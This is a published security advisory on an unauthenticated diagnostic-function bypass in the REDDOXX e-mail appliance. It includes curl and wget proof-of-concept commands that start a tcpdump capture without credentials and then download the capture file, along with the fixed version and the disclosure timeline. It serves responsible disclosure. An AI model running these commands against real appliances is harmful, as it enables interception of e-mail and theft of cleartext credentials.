Advisory: Unauthenticated Access to Diagnostic Functions in REDDOXX Appliance RedTeam Pentesting discovered a vulnerability which allows attackers unauthenticated access to the diagnostic functions of the administrative interface of the REDDOXX appliance. The functions allow, for example, to capture network traffic on the appliance's interfaces. Details ======= Product: REDDOXX Appliance Affected Versions: Build 2032 / v2.0.625, older versions likely affected too Fixed Versions: Version 2032 SP2 Vulnerability Type: Authentication Bypass Security Risk: high Vendor URL: https://www.reddoxx.com/ Vendor Status: patch available Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-008 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement." (from the vendor's homepage) More Details ============ The administrative interface of the REDDOXX appliance [0] offers several diagnostic tools in the "Diagnostic Center". Tcpdump is one of these tools. This tool can be used to capture network traffic on local interfaces. During a penetration test, it was discovered that this function, as well as the other diagnostic functions, does not require authentication. Proof of Concept ================ The following curl command-line can be used to start the capture process: ------------------------------------------------------------------------ $ curl --include --silent -H 'Content-Type: application/json' \ --data-binary '{"Name":"Tcpdump","Parameter":{"host":"","port":""}}' \ http://www.example.com/api/v1/rws/diagnose/start HTTP/1.1 200 OK Date: Thu, 18 May 2017 14:58:22 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.14 [...] Content-Length: 0 Content-Type: application/xml ------------------------------------------------------------------------ The following curl command-line stops the capture process: ------------------------------------------------------------------------ $ curl --include --silent -H 'Content-Type: application/json' \ --data-binary '{"Name":"Tcpdump"}' \ http://www.example.com/api/v1/rws/diagnose/stop HTTP/1.1 200 OK Date: Thu, 18 May 2017 15:00:17 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.14 [...] Content-Length: 0 Content-Type: application/xml ------------------------------------------------------------------------ After the capture process is complete, the resulting capture file can be downloaded without authentication: ------------------------------------------------------------------------ $ wget http://www.example.com/rws/resources/diagnosemanager/tcpdump.cap [...] Connecting to www.example.com:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1801530 (1.7M) [application/vnd.tcpdump.pcap] Saving to: ‘tcpdump.cap’ tcpdump.cap 100%[=======================================>] 1.72M [...] 2017-05-18 17:01:36 (34.1 MB/s) - ‘tcpdump.cap’ saved [1801530/1801530] ------------------------------------------------------------------------ None of these requests contain any credentials or cookies, which could provide authentication. Workaround ========== None Fix === Update the appliance software to Version 2032 SP2. Security Risk ============= The diagnostic functions of the REDDOXX appliance can be used without authentication. This allows attackers to, for example, capture network traffic. During a penetration test it was possible to capture multiple emails and also POP3 login attempts with cleartext credentials. This is rated as a high risk. Timeline ======== 2017-05-17 Vulnerability identified 2017-05-23 Customer approved disclosure of vulnerability 2017-05-26 Customer provided details of vulnerability to vendor 2017-07-20 Vulnerability reported as fixed by vendor 2017-07-24 Advisory released References ========== [0] https://www.reddoxx.com/en/ RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting GmbH is looking for more penetration testers to join our team. If you are interested in working for RedTeam Pentesting in Aachen, please visit the respective section of our website. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
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